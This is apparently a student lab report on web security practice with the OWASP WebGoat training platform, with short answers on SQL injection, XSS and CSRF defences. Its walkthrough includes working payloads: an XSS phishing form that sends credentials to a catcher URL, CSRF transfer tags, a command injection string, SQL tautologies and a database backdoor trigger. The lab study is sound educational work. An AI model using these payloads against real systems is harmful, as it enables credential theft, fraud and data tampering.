20145239杜文超《网络对抗》- Web安全基础实践

基础问题回答

(1)SQL注入攻击原理,如何防御?

  • SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

  • 防御:利用输入规则限制进行防御,过滤输入的数据,不允许特殊字符输入。

(2)XSS攻击的原理,如何防御?

  • 跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

  • 防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

(3)CSRF攻击原理,如何防御?

  • CSRF攻击即跨站伪造攻击,顾名思义,就是攻击者向目标网站注入一个恶意的URL跨站地址,当用户点击了该URL,就可以进行一些用户本不希望的事情。
  • 防御:通过referer、token或者验证码来检测用户提交;在form中包含秘密信息、用户指定的代号作为cookie之外的验证;定期清理保存的cookie。

实验总结与体会

跟着组长做第一步的时候一脸懵逼,完全不知道在干什么,在浏览器登陆上wedgoat之后我用我拙劣的英语翻译水平费劲的认识到这恐怕是一个外国的学习安全技术的漏洞实验平台。其实很多内容原理挺简单的,就是还是得好好学英语不然看不懂题目,国内也有类似的如爱春秋之类的信息安全实战平台我们也可以体验学习。还有就是跟着别人的博客做完实验一定要思考为什么是这样,仅仅是按着流程走一遍得到成功结果其实意义并不大。

实践过程记录

实验准备

  WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们本次的实验就是在WebGoat平台上进行。

1、输入java -jar webgoat-container-7.0.1-war-exec.jar打开webgoat。

2、在浏览器输入localhost:8080/WebGoat登陆平台。

Phishing with XSS

在搜索框输入如下攻击代码:

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你

攻击成功!

Stored XSS Attacks

要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

在message中输入一串代码如<script>alert("20145239 attack succeed!");</script>

提交,弹出窗口,攻击成功!

Reflected XSS Attacks

在code框中输入<script>alert("5239 attack succeed!");</script>将带有攻击性的URL作为输入源。

弹出会话框,反射型XSS攻击成功!

Cross Site Request Forgery

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>

(Screen和menu的值在窗口右边查看)

提交后在下面的Message List里面可以看我刚刚发送的消息,点击它,当前页面就会下载这个消息并显示出来,转走用户的5239元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

浏览器开启一个新页面,输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000进入确认转账请求页面。

点击CONFIRM之后,再输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM

成功转走了5000元。原因是网页的源代码中transferFunds的值变成了CONFIRM。

Command Injection

题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令。

通过火狐浏览器下的一个扩展Firebug对源代码进行修改,右键点击BackDoors.help旁边加上 "& netstat -an & ipconfig"

选中修改后的值再点击view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

题目大意是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。

在103后面加上一个 or 1=1使其成为永真式。

点击Go!发现已经成功了。

String SQL Injection

输入' or 1=1 --构造永真式。点击Go!发现所有用户信息都被显示出来了。

LAB:SQL Injection(Stage 1:String SQL Injection)

输入' or 1=1 --注入,失败。在输入框右键打开html源码,发现maxlength被限制为8。修改成20,再次登陆,成功!

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

在上一个实验的基础上,过一个普通员工的账户larry,浏览其BOSS的账户信息。

在larry的名字右键,打开源码,发现这个地方是以员工ID作为索引传递参数的。将value的值修改为101 or 1=1 order by salary desc --

这样老板的信息就会被排到第一个。

再次点击ViewProfile,发现已经看到老板的信息了。

Database Backdoors

先输入101,得到该用户的信息:

注入语句101; update employee set salary=5239,将其工资变为了5239。

最后输入101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145239@qq.com' WHERE userid = NEW.userid把表中所有的邮箱和用户ID都设为我自己的。

20145239杜文超《网络对抗》- Web安全基础实践的更多相关文章

  1. 20145239 杜文超 实验四 Android开发基础

    20145239实验四 Android开发基础 实验内容 基于Android Studio开发简单的Android应用并部署测试 了解Android组件.布局管理器的使用 掌握Android中事件处理 ...

  2. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  3. 20145239杜文超《网络对抗》- Web基础

    20145239杜文超<网络对抗>- Web基础 基础问题回答 1.什么是表单? 表单是一个包含表单元素的区域. 表单元素是允许用户在表单中(比如:文本域.下拉列表.单选框.复选框等等)输 ...

  4. 20145239杜文超《网络对抗》- shellcode注入&Return-to-libc攻击深入

    20145239杜文超<网络对抗>- shellcode注入&Return-to-libc攻击深入 shellcode基础知识 Shellcode是一段代码,作为数据发送给受攻击服 ...

  5. 20145239杜文超《网络攻防》- MSF基础应用

    20145239杜文超<网络攻防>- MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit:实现攻击行为的主体,但没有载荷只 ...

  6. 20145239杜文超 实验五 Java网络编程

    20145239 实验五 Java网络编程 实验内容 组队,一人服务器,一人客户端. 下载加解密代码,先编译运行代码,一人加密一人解密,适当修改代码. 然后集成代码,一人加密后通过TCP发送,加密使用 ...

  7. 20145239杜文超 《Java程序设计》第10周学习总结

    20145239 <Java程序设计>第10周学习总结 教材学习内容总结 Java的网络编程 网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据. 网络概述 1.计算机 ...

  8. 20145239杜文超 《Java程序设计》第8周学习总结

    20145239 <Java程序设计>第8周学习总结 教材学习内容总结 通用API 日志API 1.java.util.logging包提供了日志功能相关类与接口,使用日志的起点是logg ...

  9. 20145239杜文超 《Java程序设计》实验二 Java面向对象程序设计实验报告

    20145239 <Java程序设计>实验二 Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S. ...

随机推荐

  1. 集合映射Set(使用xml文件)

    如果持久类具有Set对象,可以在映射文件中使用set元素映射Set集合. set元素不需要索引元素. List和Set之间的区别是: Set只存储唯一的值. 我们来看看我们如何在映射文件中实现集合: ...

  2. genymotion启动报错

    启动genymotion时提示 网络配置有问题,经检查是网卡virtualBox配置的问题,把ip设为自动获取即可 重新启动就可以了

  3. Unity3D学习笔记——NGUI之UIInput

    UIInput:这个组件可以用于创建输入框和编辑文本. 效果图如下: 一:使用步骤 1.首先创建一个背景,可以用Sprite也可以是Widget. 我这里使用的是空白的Widget 2.为其添加一个L ...

  4. ionic2常见问题-启动后白屏问题

    问题描述 app启动后大概有几秒白屏,才会显示首页,如下gif图 启动有白屏.gif 解决方法1 请查看以下3张图的标注 图 1-最初config.xml配置 图 2-更改后的splash配置 图 3 ...

  5. iOS开发笔记--如何实现程序长时间未操作退出

    我们使用金融软件经常会发现手机锁屏或者长时间未操作就会退出程序或者需要重新输入密码等情况.下面让我们看一下如何实现这种功能.我们知道iOS有一个事件循环机制,也就是大家所说的runloop.我们在对程 ...

  6. Spring MVC的路径匹配

    Spring MVC中的路径匹配比起标准web.xml的servlet映射要灵活得多.路径匹配的默认策略是由org.springframework.util.AntPathMatcher实现的.顾名思 ...

  7. python学习【第九篇】python面向对象编程

    一.面向对象了解 面向对象编程——Object Oriented Programming,简称OOP,是一种程序设计思想.OOP把对象作为程序的基本单元,一个对象包含了数据和操作数据的函数. Pyth ...

  8. 在前端眼中pc端和移动的开发区别

    按照昨天所说,本包子今天将总结在前端开发中,pc端和移动端的区别,整理完这些区别,本包子将开始整理pc端的布局,会写实际的代码了,还是那句话,希望文章中有什么不足的地方,大家能多多指正,大家一起进步, ...

  9. virsh命令行管理工具

    virsh命令行管理工具 Libvirt有两种控制方式,命令行和图形界面 图形界面: 通过执行名virt-manager,启动libvirt的图形界面,在图形界面下可以一步一步的创建虚拟机,管理虚拟机 ...

  10. SQLServer中exists和except用法

    一.exists 1.1 说明 EXISTS(包括 NOT EXISTS)子句的返回值是一个BOOL值.EXISTS内部有一个子查询语句(SELECT ... FROM...),我将其称为EXIST的 ...